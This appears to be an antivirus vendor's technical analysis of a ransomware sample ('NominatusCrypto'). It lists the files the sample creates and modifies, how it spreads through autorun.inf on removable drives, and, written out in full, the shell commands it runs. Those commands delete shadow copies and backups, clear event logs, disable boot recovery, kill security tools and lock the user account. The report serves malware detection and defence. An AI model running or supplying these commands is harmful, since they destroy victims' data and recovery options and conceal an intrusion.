Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\windowsscan.exe
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /im chrome.exe /f
- '%WINDIR%\syswow64\taskkill.exe' /im ComboCleaner.exe /f
Modifies file system
Creates the following files
- C:\autorun.inf
- %WINDIR%scan.exe
- D:\windowsscan.exe
Modifies the following files
- %APPDATA%\adobe\acrobat\dc\tmdocs.sav
- %APPDATA%\icqm\icq\graphics\phone\agent_online.bmp
- %APPDATA%\icqm\icq\graphics\phone\agent_offline_inv.bmp
- %APPDATA%\icqm\icq\graphics\phone\agent_offline.bmp
- %APPDATA%\icqm\icq\fonts\segoesc.ttf
- %APPDATA%\icqm\icq\dll\altergeo.msi
- %APPDATA%\icqm\icq\database\citylist_uz.csv
- %APPDATA%\icqm\icq\database\citylist_ua.csv
- %APPDATA%\icqm\icq\database\citylist_tr.csv
- %APPDATA%\icqm\icq\database\citylist_ru.csv
- %APPDATA%\icqm\icq\database\citylist_kz.csv
- %APPDATA%\icqm\icq\database\citylist_en.csv
- %APPDATA%\icqm\vplog.dat
- %APPDATA%\icq-profile\update\languages.hash
- %APPDATA%\icq-profile\update\languages.dict
- %APPDATA%\icq-profile\update\languages.aff
- %APPDATA%\icq-profile\base\opt.dbs
- %APPDATA%\icq-profile\base\mra.dbs
- %APPDATA%\icq-profile\installerlang.xml
- %APPDATA%\ghisler\wincmd.ini
- %APPDATA%\adobe\logtransport2\logtransport2.cfg
- %APPDATA%\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl
- %APPDATA%\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl
- %APPDATA%\adobe\acrobat\dc\security\addressbook.acrodata
- %APPDATA%\adobe\acrobat\dc\preferences\defaultheuristics.dat
- %APPDATA%\adobe\acrobat\dc\jscache\globsettings
- %APPDATA%\adobe\acrobat\dc\jscache\globdata
- %APPDATA%\adobe\acrobat\dc\tmgrpprm.sav
- %APPDATA%\icqm\icq\graphics\phone\agent_online_inv.bmp
- %APPDATA%\icqm\icq\graphics\phone\icq_offline.bmp
Modifies multiple files.
Modifies user data files (Trojan.Encoder).
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C net users %username% LockedByNominatusCrypto7 && taskkill /im ComboCleaner.exe /f && msg * Loading.. Please Wait' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl application' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic shadowcopy delete' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl security' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl system' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin delete catalog quiet' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic SHADOWCOPY /nointeractive' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP deleteOldest' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} recoveryenabled No' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C taskkill /im chrome.exe /f && taskkill /im WireShark.exe /f && taskkill /im MSASCUI.exe /f && taskkill /im taskmgr.exe /f && taskkill /im regedit.exe /f && taskkill /im Kaspersky.exe /f && t...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C netsh Interface Set Interface Wi-Fi 12 disable' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo open^=WindowsScan^.exe >> ..\autorun.inf' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C echo ^[autorun^] > ..\autorun.inf' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c vssadmin delete shadows /all /quiet' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C cd %windir% && cd.. && for /f %f in ('*.bak /s') do del %f /f /q' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C net users %username% LockedByNominatusCrypto7 && taskkill /im ComboCleaner.exe /f && msg * Loading.. Please Wait
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet
- '%WINDIR%\syswow64\cmd.exe' /c wmic SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil cl system
- '%WINDIR%\syswow64\cmd.exe' /c wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil cl application
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin delete catalog quiet
- '%WINDIR%\syswow64\cmd.exe' /c *.bak /s
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP
- '%WINDIR%\syswow64\net.exe' users user LockedByNominatusCrypto7
- '%WINDIR%\syswow64\netsh.exe' Interface Set Interface Wi-Fi 12 disable
- '%WINDIR%\syswow64\wevtutil.exe' cl system
- '%WINDIR%\syswow64\wevtutil.exe' cl security
- '%WINDIR%\syswow64\wevtutil.exe' cl application
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil cl security
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP deleteOldest
- '%WINDIR%\syswow64\cmd.exe' /C cd %windir% && cd.. && for /f %f in ('*.bak /s') do del %f /f /q
- '%WINDIR%\syswow64\cmd.exe' /C echo open^=WindowsScan^.exe >> ..\autorun.inf
- '%WINDIR%\syswow64\cmd.exe' /C netsh Interface Set Interface Wi-Fi 12 disable
- '%WINDIR%\syswow64\cmd.exe' /C taskkill /im chrome.exe /f && taskkill /im WireShark.exe /f && taskkill /im MSASCUI.exe /f && taskkill /im taskmgr.exe /f && taskkill /im regedit.exe /f && taskkill /im Kaspersky.exe /f && t...
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} recoveryenabled No
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c vssadmin delete shadows /all /quiet
- '%WINDIR%\syswow64\cmd.exe' /C echo ^[autorun^] > ..\autorun.inf
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP deleteOldest
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin delete catalog quiet
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl system
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl security
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl application
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
- '%WINDIR%\syswow64\net1.exe' users user LockedByNominatusCrypto7
- '%WINDIR%\syswow64\wbem\wmic.exe' SHADOWCOPY /nointeractive
